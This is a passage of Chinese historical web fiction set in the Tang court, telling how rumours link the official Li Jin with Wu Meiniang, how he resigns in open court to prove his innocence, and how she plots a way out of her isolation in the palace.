最为致命、也最触及帝王逆鳞的版本,则与武媚娘此次回宫直接相关。流言称,王皇后之所以突然从感业寺接回武媚娘,并非出于“体恤旧人”或“佐理佛事”,而是受李瑾暗中请托、甚至胁迫!李瑾以手中掌握的“明玻”巨利、新式军械等“国之利器”为筹码,要挟或利诱王皇后,将武媚娘接回宫中,以便其“旧情复燃”,甚至图谋更深的“内外勾结”。更有险恶者,将李瑾的“格物所”与“开拓海洋”之议,与武媚娘的“回宫”联系起来,暗示李瑾意图通过控制武媚娘,影响皇帝,进而掌控海外贸易乃至军国大政,其心可诛!
流言如同瘟疫,传播的渠道隐秘而高效。宫掖深处,侍奉的宦官宫女在交接值时低声交谈,目光闪烁;命妇们入宫请安,在等候的偏殿里交换着“听说……”的眼神与耳语;朝臣们在散朝后三三两两同行,“无意间”便会有人提起“近日有些风闻,关于李少监与兰心苑那位……”;甚至连东西两市的茶楼酒肆,也开始有“消息灵通”的闲汉,神秘兮兮地讲述“前朝才俊与后宫旧人的风流秘事”,虽不敢直言名姓,但听者无不心领神会。
流言的恶毒之处在于,它并非空穴来风,而是巧妙地将一些事实碎片(李瑾曾与东宫有关联、工坊确向感业寺布施过、武媚娘被王皇后接回、李瑾深得皇帝信任手握实权)与大量臆测、捏造编织在一起,真真假假,难以彻底辩驳。更可怕的是,它精准地戳中了皇室与朝堂最敏感的神经:后宫干政,外臣交通宫禁,此乃历朝历代之大忌,亦是帝王枕畔最不能容的利刺。
萧淑妃无疑是这股流言最积极的推手与利用者。披香殿内,她对着心腹宫女,笑得花枝乱颤:“好!这流言来得正是时候!本宫正愁找不到那把最利的刀!李瑾……武媚娘……这下看你们如何自处!” 她指使手下,将流言添油加醋,尤其侧重“李瑾胁迫皇后接回武媚娘”、“意图内外勾结操控朝政”的部分,并通过各种渠道,务必让这些话语“自然而然”地飘到皇帝耳中。她甚至“忧心忡忡”地对皇帝说:“陛下,近日宫中有些不好的言语,涉及朝臣与……兰心苑。臣妾本不信,然传得有鼻子有眼,恐是有人故意中伤,坏陛下清誉,亦伤及李少监与武娘子的名声。陛下还需明察才是。” 以退为进,实则是将事情摊开,逼皇帝正视。
王皇后闻听流言,又惊又怒,更有一种被利用、被背叛的恐慌。她召来周尚宫,厉声质问:“外间传言,说是李瑾请托,本宫才接回武氏,可是真的?!你是否知晓内情?!” 周尚宫连忙跪倒,指天誓日绝无此事,接回武媚娘纯属皇后仁心,与李瑾无关。但王皇后心中疑窦已生,再看武媚娘时,目光便多了几分审视与疏离,甚至怀疑武媚娘回宫后与李瑾仍有秘密往来,自己成了他们私情的遮羞布与跳板,对武媚娘的态度越发冷淡,兰心苑的用度克扣也更甚。
朝堂之上,气氛微妙。于志宁、阎立本等人闻讯,心急如焚,私下找到李瑾,追问究竟。李瑾坦然以对,将当年与武媚娘有限的几次交集(主要是“谶纬案”前后,为太子讲学,与当时还是才人的武媚娘有过礼节性接触)如实相告,并解释工坊布施感业寺,乃是因牛痘推广时,感业寺曾协助收容病患,故以器物酬谢,绝无私情。至于胁迫皇后接人,更是无稽之谈。于志宁等人虽信李瑾人品,却也忧心忡忡:“人言可畏,积毁销骨!此流言用心歹毒,直指陛下大忌!你必须谨慎,万不可再与后宫有任何牵扯,尤其要避嫌!”
郑侍郎、周御史等“联席审议”的成员,在议事时看李瑾的眼神,也多了几分意味深长。周御史更是直接“提醒”:“李督行,清者自清,然众口铄金。督行深受皇恩,掌实务重权,于私德小节,更当如临如履,以免授人口实,辜负圣望。”
而一些原本就嫉妒李瑾骤贵、或对其“实学”理念不满的官员,则如获至宝,开始在各种场合“忧国忧民”地议论:“外臣结交宫禁,乃祸乱之始。李瑾年轻,骤登高位,恐把持不定,为美色所惑,做出不智之事。”“纵然此刻无私,然瓜田李下,也当避嫌。如今流言汹汹,李少监是否该暂避锋芒,以示清白?”
压力,如同无形的蛛网,从四面八方笼罩而来,缠绕着李瑾,也隔绝着兰心苑中的武媚娘。
武媚娘的处境,比李瑾更为凶险。她本就如履薄冰,如今这“私通外臣”的流言,简直是将她置于炭火之上炙烤。兰心苑几乎成了被遗忘甚至被刻意孤立的孤岛。送来的饭食时常冰凉,份例中的银霜炭彻底断了,连照明用的蜡烛也短斤缺两。秋月、冬雪出去,动辄被其他宫的宫人指指点点,甚至公然奚落“你们主子好本事,勾着前朝的贵人呢”。哑巴内侍也时常被人故意撞倒,或偷走扫帚等杂物。
更可怕的是来自皇帝的沉默。自从流言渐起,皇帝再未问及过兰心苑,也未对武媚娘抄送的那卷《金刚经》有任何回应。仿佛那处院落,那个人,从未存在过。这种沉默,比直接的斥责更让人心寒,也预示着更大的风暴可能正在酝酿。
武媚娘依旧每日在佛前诵经,神色平静,只是眼下的青黑泄露了她的疲惫与压力。她知道,这流言是萧淑妃的毒计,目的就是要一举将她与李瑾同时打落尘埃,甚至置于死地。她也知道,王皇后的退缩与猜疑,皇帝的沉默,都意味着她失去了所有可能的屏障。如今,她能依靠的,似乎只有自己,还有……那个同样身处漩涡中心的盟友。
但她不能主动联系李瑾,那等于坐实流言。她甚至不能有任何异常的举动,所有的眼睛都盯着她。她只能等,在孤寂与恐惧中,等待李瑾的应对,也等待或许渺茫的转机。
夜深人静,她独坐灯下(蜡烛昏暗),手指无意识地抚摸着腕上一串普通的檀木佛珠——这是李瑾当年通过郭老夫人送入感业寺的诸多“布施”中,最不起眼的一件,却因木质普通、毫无标记,被她一直戴着。冰凉的木珠触及肌肤,带来一丝微弱的慰藉,却也勾起了更深的忧虑。
李瑾,你会如何做?是急于自辩,反而越描越黑?是惶恐失措,授人以柄?还是……能找到破局之法?
她不信那个能献出牛痘、绘出寰宇图、舌·战群儒、创立“格物所”的男人,会如此轻易地被流言击垮。但宫闱之事,与朝堂权谋又自不同,其中凶险,更添十分。
同一片夜空下,将作监格物所的值房内,灯火通明。李瑾并未回府,而是将李福、王掌柜秘密召来。他面色沉静,眼中却蕴含着风暴。
“查清楚了吗?流言最初从哪些地方传出?传播最广的是哪几个版本?” 李瑾的声音没有起伏。
王掌柜低声道:“回公子,蛛丝马迹指向披香殿和萧府门下几个常在各衙门走动的清客。传播最广、也最恶毒的,便是‘胁迫皇后’、‘内外勾结’的版本。如今不止后宫朝堂,市井之中亦有议论,虽隐晦,然对公子与武娘子名声损伤极大。”
“御史台,还有宫里,可有人以此为由上书或进言?” 李瑾问。
“目前尚无公开奏章。但据宫里眼线说,萧淑妃近日在陛下面前,几次‘忧心’提及。陛下……未曾表态。但皇后娘娘那边,对武娘子已颇为冷淡。另外,朝中与萧瑀亲近的几位言官,近日聚会频繁,恐在酝酿弹章。”
李瑾点了点头,走到窗边,望着窗外沉沉的夜色。流言杀人,尤其是这种涉及宫闱秘事、外臣交通的流言,最是阴毒难防。辩解,会让人觉得心虚;沉默,又等于默认。尤其皇帝的态度曖昧不明,更是悬在头顶的利剑。
“公子,是否要动用我们在市井的人,散播些其他消息,混淆视听?或者,让郭老夫人再在命妇中澄清?” 王掌柜试探道。
“不必。” 李瑾摇头,“此时再做任何小动作,都是火上浇油,徒惹猜疑。对手要的就是我们慌乱,要的就是我们辩解,要的就是陛下心生芥蒂。”
他转过身,目光锐利:“他们想用流言逼我自乱阵脚,逼媚娘困死宫中,甚至逼陛下疑我、弃我。那我便给他们看,什么叫以退为进,以静制动。”
“公子的意思是……?”
“明日,我会向陛下上表。” 李瑾缓缓道,语气决然,“不是辩解,不是喊冤。而是——辞官。”
“辞官?!” 李福和王掌柜同时惊呼。
“不错。” 李瑾眼中闪过一丝冷芒,“流言因我‘骤贵’、‘掌权’而起,因我与媚娘‘身份悬殊’却‘疑似有旧’而毒。那我便卸去这身官袍,交出这‘督行实务’之权,做回一个白身,甚至……一个待罪之身。我看这流言,还能依附何物滋生?我看陛下,面对一个自请去位、以证清白的‘孤臣’,又会作何想?至于媚娘那边……”
他顿了顿,声音低沉下去:“此刻,任何联系都是害她。唯有我这边动静够大,才能为她分担压力,也才能……逼出幕后之人的真正后手,看清陛下的真实心意。”
这是一步险棋,近乎自残。但在这流言织就的天罗地网中,或许也是唯一能劈开一线生机的办法。李瑾要用自己的“退”,来换取他和武媚娘共同的“进”,或者至少,是“生”。
王掌柜和李福对视一眼,都从对方眼中看到了震撼与忧惧,但更多的,是对李瑾决断的叹服。
“流言伤二人……” 李瑾望向皇城方向,低语道,“那就看看,最后伤的,究竟会是谁。”
夜更深了,流言仍在黑暗中窃窃私语,而一场更加惊心动魄的对抗,已随着李瑾的决定,悄然拉开了序幕。
第65章 瑾辞官明志
三月初一,大朝。春寒料峭,太极殿前的汉白玉阶上,还残留着夜霜的湿痕。然而,比这晨霜更冷的,是殿中许多朝臣看向那位绯袍年轻官员时,那复杂难言的目光,以及萦绕在空气里那股挥之不去的、关于“私通宫闱”流言的窃窃私语。李瑾身着整齐的从四品绯色官袍,腰悬银鱼袋,神色平静地立于文官班列之中,仿佛那些针尖般的视线与流言的阴影,都与他无关。
朝议如常进行,户部奏报漕运,兵部议及边备,工部请示河工。然而,许多人的心思显然不在这些寻常政务上。萧瑀一系的官员,眼角余光不时瞥向李瑾,带着审视与一丝即将收网的快意。于志宁、阎立本等人,则眉宇间隐含忧色。皇帝李治高坐御座,面色沉静,只是偶尔掠向李瑾方向的目光,比平日多了几分难以察觉的深邃。
就在朝议接近尾声,侍立的内侍即将高唱“有事启奏,无事退朝”之时,李瑾出列了。
他手持玉笏,步履沉稳地走到丹墀之前,撩袍,跪倒,以额触地。这个庄重到近乎肃穆的大礼,让殿中为之一静。
“臣,将作监少监、秘书郎、督行实务使李瑾,有本冒死启奏天听。” 李瑾的声音清晰平稳,回荡在寂静的大殿中。
“李卿平身奏来。” 李治的声音听不出情绪。
李瑾并未起身,依旧保持着跪伏的姿势,只是略微抬高了声音:“陛下,臣自蒙陛下不弃,拔擢于微末,授以实务,寄以厚望。臣虽愚钝,然夙夜匪懈,唯恐有负圣恩。自领‘督行实务’以来,兢兢业业,于农具改良、百工创新、海贸筹备、水师储才诸事,不敢有丝毫懈怠,幸赖陛下天威,同僚协力,略有寸进,此皆陛下圣明所至,臣何功之有?”
他先回顾了自己的“政绩”和皇帝的“恩典”,姿态放得极低。
“然,” 他话锋陡然一转,声音中带上了沉重与痛切,“近日臣闻,长安市井,宫廷内外,竟有宵小之辈,散布恶毒流言,污臣清誉。其言荒谬绝伦,竟诬臣与前朝宫人、今于兰心苑带发修行的武氏有私!更甚者,竟敢妄测天心,构陷臣以‘胁迫中宫’、‘内外勾结’之罪!”
他终于将“流言”直接摆到了朝堂之上,而且是如此尖锐的指控!殿中响起一片压抑的吸气声。许多人没想到,李瑾竟敢如此直白地将这层遮羞布撕开。
“此等流言,于臣,是毁誉谤身,欲置臣于万劫不复之地!于武氏,是污名加身,使其清修之地蒙尘!于陛下,是亵渎天听,离间君臣,淆乱宫闱纲纪!” 李瑾的声音陡然提高,带着压抑的愤怒与悲怆,“臣自问,自入仕以来,上对得起陛下天恩,下对得起黎民百姓,中间对得起同僚友朋,俯仰之间,无愧天地!与武氏,除当年因太子讲学,偶有数面之缘,恪守臣礼,再无交集!工坊布施感业寺,乃为酬谢其于牛痘推广时收容病患之德,有账可查,有人可证!至于所谓‘胁迫中宫’、‘内外勾结’,更是子虚乌有,恶意构陷!此心此志,天日可鉴,鬼神共察!”
他言辞激烈,剖白心迹,将自己与武媚娘的关系限定在“偶有数面”、“恪守臣礼”,将布施解释为“酬谢公德”,并直接否定最致命的指控,态度坚决,掷地有声。
然而,这仅仅是铺垫。在众人被他这番激烈辩白吸引之时,李瑾深吸一口气,以头重重叩在冰冷的金砖之上,发出沉闷一响,再抬头时,眼中已隐现水光,声音也转为一种带着决绝凄凉的平静:
“然,臣亦深知,人言可畏,积毁销骨。臣蒙陛下超擢,少年骤贵,手握实务,本就惹人嫉恨。今有此恶言,虽系构陷,然瓜田李下,臣已难自明。陛下信任臣,然臣不能因一己之故,使陛下圣名蒙尘,使宫闱不宁,使朝堂生隙,使宵小之徒以此攻讦陛下用人不明!”
他再次叩首,声音已带哽咽:“臣,一介寒微,得遇陛下,已是侥天之幸。所献牛痘、明玻、新纸、寰宇图诸物,所倡实学、海贸诸策,若有一二可利国家,便是臣报答陛下知遇之恩于万一。然,臣之去留事小,陛下清誉、朝廷纲纪、后宫安宁事大!”
他挺直身体,双手将一直紧握的玉笏高高举起,声音斩钉截铁,响彻大殿:
“故,臣今日,冒死恳请陛下! 为堵天下悠悠之口,为全陛下知人之明,为安后宫之心,为肃朝廷之风——请陛下,革去臣将作监少监、秘书郎、督行实务使等一切官职、差遣!收臣之诰身印信,夺臣之绯服鱼袋!放臣归田,或付有司勘问!臣,愿以一己之身,明此心迹,证此清白!”
“臣,无官无职,白身待罪,看那流言蜚语,还能依附何物?看那构陷之徒,还能如何中伤?若臣果有罪愆,请陛下明正典刑,臣绝无怨言!若臣蒙冤,但求还臣一个清白之身,臣愿布衣归乡,老死林泉,再不过问朝堂之事!”
“陛下!臣,请辞!”
最后三字,如同惊雷,轰然炸响在每个人的心头!不是辩解,不是求饶,而是辞官!而且是辞去所有官职,以“白身待罪”的姿态,来证明清白!
殿内死一般的寂静。所有人都被李瑾这决绝到近乎惨烈的一招惊呆了!辞官?他可是圣眷正隆、手握实权、前途无量的“督行实务使”!是将“实学”理念推行得风生水起的核心人物!是皇帝改革倚重的臂膀!他竟然要为了这“莫须有”的流言,放弃一切?
于志宁脸色大变,下意识地上前半步,嘴唇翕动,却又强自忍住。阎立本也是一脸错愕。萧瑀眼中精光爆闪,随即又深深隐藏,但嘴角一丝难以抑制的弧度,暴露了他内心的惊诧与一丝不易察觉的…疑虑。郑侍郎、周御史等人更是目瞪口呆,他们预想了李瑾的各种反应,或激烈辩驳,或惶恐请罪,或寻找证据,却万万没料到,竟是如此干脆利落的“自我了断”!
皇帝李治,也明显愣住了。他身体微微前倾,目光紧紧锁住丹墀下那个长跪不起、双手高举玉笏的年轻身影。李瑾那番话,言辞恳切,逻辑清晰,尤其是最后“无官无职,白身待罪,看流言还能依附何物”的论述,简直是…釜底抽薪,以退为进的绝杀之招!
这等于将所有的难题,都抛回给了皇帝,也抛给了那些散布流言的人。如果皇帝准奏,就等于认同了流言的压力,坐实了“用人不明”的嫌疑,也等于自断一臂,让正在推进的“实务”改革受挫。如果皇帝不准,就必须出面力保李瑾,那就要对流言有个明确态度,对幕后之人有所表示。而那些散布流言者,如果李瑾真的变成“白身”,他们攻击的目标和价值就瞬间消失了,流言也会不攻自破——谁会去编派一个平民百姓与先帝旧人的“私情”?
更厉害的是,李瑾这番“以清白为要,以辞官明志”的姿态,占据了绝对的道德高地。他表现出的,不是对权力的眷恋,而是对名誉的珍视,对皇帝的忠诚(不愿让皇帝为难),对朝廷纲纪的维护。相比之下,那些躲在暗处散布流言的人,就显得无比卑劣。
时间仿佛过了很久。李治缓缓靠回御座,手指在扶手上轻轻敲击。他看着李瑾,这个年轻人又一次给了他意外。不是急智,不是巧辩,而是一种近乎悲壮的、以自身前途为赌注的…担当与智慧。
“李瑾,” 李治终于开口,声音听不出喜怒,“你可知,朕授你官职,是望你为国效力。你如今所为,是欲以辞官,胁迫于朕,还是果真心灰意冷?”
这话很重,几乎是质问李瑾是否在“以退为进”地逼宫。
李瑾再次叩首,声音沉痛却坚定:“陛下明鉴!臣岂敢胁迫陛下?臣之心,如被污之白璧,若不沉于幽泉,何以自证无瑕?臣之行,如染尘之素练,若不付之一炬,何以昭示本真?臣今日所言所请,字字发自肺腑,绝无半点虚妄矫饰!臣所虑者,非一己之官位荣辱,实乃陛下清誉、朝廷法度、后宫安宁!臣若恋栈不去,使流言不息,非但臣清白难雪,更累圣德,此臣万死不能赎之罪也!故,唯有一辞,方可表臣之心,塞谗佞之口,此臣所能为陛下尽之最后忠心!”
他将“辞官”定义为“为陛下尽忠的最后方式”,再次拔高了行为的正当性。
李治沉默着,目光扫过殿中众臣。他看到于志宁眼中的焦急,阎立本脸上的惋惜,也看到萧瑀等人眼中的闪烁与…一丝不安。他心中已然明了。李瑾这是用最决绝的方式,将了他一军,也将了那些幕后之人一军。
“你的辞表,朕收到了。” 李治缓缓道,语气恢复了帝王的深沉难测,“然,朝廷官职,非儿戏。授予革去,皆需依制而行。你且将辞官之意,写成正式表文,呈递中书门下。至于你所言流言之事……” 他顿了顿,目光陡然变得锐利,扫过全场,“朕,自有主张。退朝!”
皇帝没有当场准奏,也没有驳回,而是将程序推给了中书门下,并暗示要亲自过问“流言之事”。这是一个信号,皇帝不会轻易放弃李瑾,但也要借机敲打,并查明流言根源。
“臣…遵旨。” 李瑾重重叩首,然后起身,将玉笏端正置于身前,缓缓退回了班列。他的背影挺直,却透着一股孤臣孽子般的决绝。
散朝之后,李瑾在无数道目光的注视下,平静地解下腰间的银鱼袋,脱下身上的绯色官袍(内有常服),仔细叠好,与玉笏一同捧在手中,然后径直走向宫门值守的郎官,将其交付,言明“待罪之身,不敢再着官服,佩官符”。随后,他仅着青色常服,在早春的寒风中,徒步走出了皇城。
这一幕,被许多散朝的官员看在眼里。那褪下的绯袍,交付的鱼袋玉笏,以及那道独自离去的青色背影,充满了无声的震撼力。许多原本对流言将信将疑的官员,心中开始动摇——若真有私情,岂会如此决绝地放弃一切,自证清白?而那些推动流言者,则感到了阵阵寒意,皇帝那句“自有主张”,如同悬顶之剑。
消息如同长了翅膀,飞速传开。“李瑾为证清白,朝堂辞官,脱袍去印!” 这比任何辩白都更有力,也更引人遐思。市井间的议论风向,开始悄然转变,同情与钦佩之声渐起。宫中,兰心苑的武媚娘,从秋月战战兢兢的禀报中得知此事,手中的佛珠猛地一颤,她闭上眼,深吸一口气,再睁开时,眼中已是一片冰冷的清明与…一丝难以言喻的悸动。他竟然用这种方式…好一个以退为进,好一个…李瑾!
萧淑妃在披香殿摔了第二个琉璃盏,气得浑身发抖:“他竟敢…竟敢以辞官要挟陛下?!陛下…陛下为何不直接准了他?!”
王皇后在立政殿中,听着周尚宫的禀报,神情复杂,良久,才幽幽一叹:“他倒是…狠得下心。看来,或许…真是冤枉了他?” 她对武媚娘的猜疑,因李瑾这决绝之举,反而消散了不少。
皇帝李治回到两仪殿,独自坐了很久。他面前摊开着李瑾那番“辞官”言论的记录,以及刚刚由内侍省呈上的、关于流言源头的一些初步密报。他的手指轻轻敲击着桌面,目光深远。
“李瑾…武媚娘…” 他低声自语,“一个不惜弃官明志,一个在宫中默默抄经祈福…流言…萧氏…”
他忽然对身旁的心腹内侍道:“去,告诉李瑾,他的辞表,朕收到了。让他…在府中静思己过,无旨不得外出。一应‘督行实务’事宜,暂由于志宁、阎立本会同‘格物所’咨议代行。另外,加派人手,给朕仔细地查,那些流言,到底是从谁嘴里第一个冒出来的!”
“是!”
一场以辞官为引爆点的风暴,就此在朝堂与后宫猛烈刮起。李瑾用近乎自毁的方式,不仅暂时洗刷了污名,赢得了舆论的同情与转向,更将皇帝的目光彻底引向了流言的制造者,也为他和武媚娘,赢得了一丝喘息与反击的宝贵空间。然而,代价是昂贵的,他失去了炙手可热的权位,成了“待罪静思”的闲人。未来的路,是就此沉沦,还是蛰伏再起?一切,都系于那位深不可测的年轻帝王之心。
但至少,他证明了,流言或许能伤人,却杀不死一个敢于舍弃、善于谋局的智者。
第66章 媚娘夜泣血
李瑾朝堂辞官、脱袍去印的决绝之举,如同在沸腾的油锅里泼进一瓢冰水,瞬间炸开了朝野舆论,也让后宫原本就晦暗不明的局势,变得更加波谲云诡,寒意森森。对武媚娘而言,李瑾这置之死地而后生的一招,虽然暂时扭转了部分舆论,也逼得皇帝表态追查流言,看似赢得了喘息之机,但对她身处兰心苑的实际处境,非但没有丝毫改善,反而如同坠入了更加深不见底、孤立无援的冰窟。
李瑾的“待罪静思”,意味着他在前朝最大的倚仗和潜在的声援力量,至少在明面上,被彻底剥夺了。他不再是那个可以随时“以备顾问”、能对皇帝施加影响的“督行实务使”,而是一个被软禁在府、前途未卜的“待罪之身”。那些因他权势而有所顾忌的目光,此刻再无遮掩,赤裸裸地投射在兰心苑的孤影之上。
首先是王皇后的态度,彻底转向了冰冷甚至迁怒。在她看来,无论流言是真是假,李瑾闹出这么大的动静,引得朝堂瞩目,皇帝亲自过问,都让她这个当初“接回”武媚娘的皇后,陷入了极其尴尬和被动的境地。她既懊悔自己引“祸”入室,更愤怒于被卷入这场风波,成为朝臣和皇帝眼中的“不智”或“可能被胁迫”之人。她最后一次召见武媚娘时,语气已无半分往日的“抚慰”或“倚重”,只剩下毫不掩饰的疏离与厌弃:
“武氏,本宫接你回宫,本是念你为先帝祈福辛苦,又闻你知礼,欲使你佐理佛事,为宫人表率。不曾想,竟惹出这许多是非,牵连朝臣,惊动圣听。” 王皇后端坐凤椅,面无表情,“如今外间议论纷纷,于你,于本宫,于中宫清誉,皆是不利。你既在兰心苑带发修行,便当恪守本分,静心礼佛,无事不得出院,更不得与外人交通。一应用度,自有定例,莫生事端。下去吧。”
这番话,几乎是将武媚娘彻底禁足、并切断了与外界(尤其是与前朝)的任何可能联系。名为“静修”,实为“软禁”与“监视”。兰心苑外,悄然增加了两名面无表情的健壮内侍把守,名为“护卫”,实则监视出入。秋月和冬雪的行动也受到更严格的限制。
而萧淑妃,在短暂的惊怒之后,迅速调整了策略。李瑾的“自残”式反击虽然出乎意料,但对她而言,未必不是好事。李瑾失了权位,等于拔掉了武媚娘在宫外最锋利的爪牙。现在,是她彻底碾死这只“孤雁”的最佳时机。她不再满足于克扣用度、散布流言这类“常规”手段。
尚宫局送来的份例,从短斤缺两,变成了彻底的、明目张胆的劣质与短缺。炭,是呛人刺眼、根本无法在室内使用的湿烟煤,而且数量只够每日午时烧半个时辰。饭食,常常是冰冷的残羹剩饭,有时甚至故意送来馊臭之物。春日衣衫的料子,是最粗糙、颜色最晦暗的次等布匹,且数量不足。蜡烛灯油更是彻底断绝,入夜之后,兰心苑内一片漆黑,只有惨淡的月光透过窗棂。
内侍省派来的那位哑巴内侍,在某日清晨被人发现倒在兰心苑外的水沟边,额头带伤,昏迷不醒。抬回来不久,便发起了高烧,口中呜呜呀呀,却说不清遭遇。请太医?层层上报,杳无音信。最终还是武媚娘翻找出自己从感业寺带来的一些草药,与秋月、冬雪一起,勉强为他处理了伤口,用冷水降温。哑巴内侍的“意外”,是一种无声的警告:伺候兰心苑的人,没有好下场。
宫人们的势利与恶意,也达到了顶点。秋月、冬雪去领任何东西,都要遭受漫长的排队、刁难乃至公开辱骂。“哟,兰心苑的贵人还没饿死呢?”“你们主子不是有前朝的李少监(如今已是白身)接济么?怎么还来领这宫里的粗食?”“晦气东西,离远点,别沾了霉运!” 甚至有大胆的宫女,故意将污水泼洒在她们必经的路上。
最让武媚娘感到刺骨寒冷的,是皇帝的沉默。李瑾辞官已过五日,皇帝除了下令追查流言,对兰心苑,对她武媚娘,没有任何只言片语的过问,仿佛这个人从未存在过。她抄写的那些祈福经卷,石沉大海。郭老夫人托人悄悄递进来的、询问近况的口信,也得不到任何回应(她不敢回,怕连累郭老夫人)。这种沉默,比任何斥责都更令人绝望。它意味着,在皇帝心中,她或许已是一枚失去价值的弃子,甚至是一个需要被遗忘、被抹去的“麻烦”。
夜深了。或者说,是兰心苑陷入无边黑暗的时刻。没有烛火,只有窗外清冷的月光,在地上投下窗棂狰狞的影子。春寒透过单薄的墙壁和残破的窗纸,丝丝缕缕地渗进来,与屋内湿冷的空气混合,冷到骨髓里。炭盆冰冷,残留着劣质烟煤刺鼻的气味。哑巴内侍在高烧中发出痛苦的**,秋月和冬雪挤在隔壁房间唯一一张勉强御寒的破榻上,互相依偎着取暖,偶尔传来压抑的、带着恐惧的啜泣。
武媚娘独自坐在佛堂的蒲团上。说是佛堂,不过是一间空置的偏房,临时设了香案和一尊小小的木雕菩萨像。没有香,没有灯,菩萨的面容在黑暗中模糊不清。她没有诵经,只是静静地坐着,背脊挺得笔直,仿佛一尊冰冷的玉雕。
然而,在那挺直的脊背之下,无人看见的内心深处,恐惧与绝望,正如同冰冷的潮水,一波又一波地冲击着她用三年感业寺光阴、用无数算计与隐忍筑起的心防。
她怕。怕这无边的黑暗与寒冷永无止境。怕秋月、冬雪和哑巴内侍因她而遭不测。怕明日送来的饭食更加不堪,或者干脆没有。怕萧淑妃还有更毒辣的后招,让她无声无息地“病故”或“自尽”在这座冰冷的院落里。更怕……怕皇帝的沉默,就是最终的判决。怕自己所有的挣扎、隐忍、谋划,到头来只是一场可笑的徒劳,最终还是要葬身于这吃人的深宫,连一点水花都溅不起。
李瑾……他现在如何了?被软禁府中,想必也处境艰难吧?他为自己做到如此地步,甚至赌上了前程,可自己……却连这兰心苑的困局都破不了,反而累得身边人受苦。一种深重的无力感与自责,如同毒蛇,啃噬着她的心。
一滴冰凉的液体,毫无预兆地滑过脸颊。她一愣,抬手触碰,指尖传来湿意。是泪。她已经很久很久,没有流过泪了。在感业寺最清苦的时候没有,在被宫人刁难羞辱的时候没有,在得知流言汹汹的时候也没有。可此刻,在这无人看见的黑暗与孤寂中,在哑巴内侍痛苦的**和侍女压抑的哭泣声中,在皇帝令人绝望的沉默里,那紧绷了太久的心弦,似乎终于出现了一丝裂痕。
但仅仅是一瞬。她猛地抬手,用袖子狠狠擦去那点湿痕,动作带着一种近乎凶狠的力道。不能哭!武媚娘,你不能哭!眼泪是最无用的东西,是弱者的标志!你忘了感业寺的雪夜了吗?忘了那些青灯古佛下的誓言了吗?你要活着,要好好地活着,要站到最高处,让所有欺你、辱你、害你的人都付出代价!李瑾为你赌上了一切,你岂能在此刻软弱?!
她站起身,在黑暗中摸索着,走到窗边。冰冷的月光映照着她苍白的脸,那双眸子在黑暗中亮得惊人,已无半点泪光,只剩下狼一般的冷冽与决绝。恐惧依然存在,但已被更强大的求生欲与恨意压制、转化。
她不能坐以待毙。皇帝沉默,或许是在观察,或许是另有考量。只要还没下旨处死她,她就还有机会。萧淑妃的压迫越甚,王皇后的厌弃越明显,或许……越能反衬出什么?
一个极其大胆、甚至疯狂的念头,如同电光火石,在她脑中闪现。既然循规蹈矩、谨小慎微换来的只是更甚的欺凌与无视,那何不……置之死地而后生?就像李瑾在朝堂上做的那样!
但具体该如何做?她需要一件“武器”,一件能打破这潭死水,重新引起皇帝注意,甚至能反制萧淑妃的“武器”。这件武器,不能是眼泪,不能是哀求,甚至不能是寻常的“贤德”表现。必须足够特别,足够……令人难忘,甚至,带着一丝恰到好处的、能触动皇帝心弦的“危险性”或“破碎感”。
她的目光,缓缓落在香案上那卷自己亲手抄写、却未能送出的《金刚经》上。又移到手腕那串普通的檀木佛珠。最后,停留在铜镜中自己模糊的、苍白的倒影上。
一个计划的雏形,在冰冷的绝望与炽热的求生欲交织中,逐渐清晰。这个计划风险极大,一步踏错,便是万劫不复。但,比起在这兰心苑中无声无息地腐烂、消亡,她宁愿赌上一切,搏一个或许渺茫的生天。
“秋月。” 她忽然开口,声音在黑暗中显得异常清晰平静。
隔壁的啜泣声停了。片刻,秋月披着单衣,战战兢兢地挪过来:“娘子……有何吩咐?”
“明日一早,你想办法,去一趟太医署。” 武媚娘的声音没有一丝波澜,“找一位姓刘的太医,叫刘神威。就说……兰心苑的旧人,感念他当年为太子诊病之劳,如今自身染恙,恐是旧疾复发,想求他几味安神静心的药材。记住,务必见到他本人,悄悄地说,不要让人知道。”
刘神威,是当年为太子李忠(后废)诊治过的太医,与李瑾关系密切(因牛痘之事)。这是李瑾在宫中埋下的、为数不多的可靠眼线之一,通过郭老夫人,武媚娘知晓此人。此刻动用这条线,风险极高,但或许能传递出某些信息,或者……得到一些必要的“帮助”。
秋月虽然害怕,但见主子如此镇定,也仿佛有了主心骨,用力点头:“是,奴婢记住了。”
“另外,” 武媚娘走到窗边,望着窗外凄冷的月色,“将我那件最旧的淄衣找出来。还有,把我抄写的所有经卷,都整理好。”
“娘子,您是要……?”
“我要做一场法事。” 武媚娘嘴角勾起一丝极淡、极冷的弧度,“一场……为我自己,也为这兰心苑祈福消灾的法事。就在这院中,明日午时,阳光最好的时候。”
秋月不明所以,但不敢多问,连忙应下。
武媚娘重新坐回蒲团上,闭上眼,手中缓缓捻动佛珠。恐惧并未完全消失,但已转化为一种冰冷的、近乎实质的意志。李瑾在外以“退”为进,那她在内,便要以“进”求生!这场“法事”,便是她抛出的第一块问路石,也是她向这冰冷宫廷发出的、不甘沉寂的呐喊。
夜还很长,很冷。但武媚娘的心中,那簇名为“野心”与“求生”的火焰,已在绝望的灰烬中,重新燃起,虽然微弱,却异常执拗。她知道,自己或许会在这深宫中“泣血”,但即便是泣出的血,也要化作最艳烈、最致命的毒药,涂在指向敌人的刃锋之上。
长夜未尽,而黎明前的黑暗,往往最是难熬,也最是……孕育着不可思议的变数。
第67章 密会芙蓉园
暮春三月,本该是草长莺飞、曲江流饮的时节,然而贞观二十四年的长安,却笼罩在一层无形的、源于朝堂后宫暗流的低气压之下。李瑾“辞官待罪”已近半月,流言虽在皇帝“严查”的口谕和御史台、内侍省的雷厉风行下(几名散布流言最广的宫人、清客被杖毙或流放),表面上有所收敛,但暗地里的波澜却愈发汹涌诡谲。萧瑀一系虽折了几个外围爪牙,但核心未损,反而因李瑾“失势”而气焰更盛,在朝中处处掣肘“督行实务”的后续事宜,对“格物所”的经费、人员也多有刁难。于志宁、阎立本等人勉力维持,亦是步履维艰。
李瑾被“静思”于崇仁坊宅邸,看似闭门谢客,实则外松内紧。府邸周围,明里暗里多了不少窥探的眼线,有来自萧瑀的,或许也有来自宫中某些方面的。他深居简出,每日只在书房读书、写字,偶尔在庭院中散步,神色平静,仿佛真的在“静思己过”。只有李福和王掌柜等核心心腹知晓,公子每日都在通过极其隐秘的渠道,接收来自朝堂、工坊、乃至宫中的零星信息,并做出各种布置。
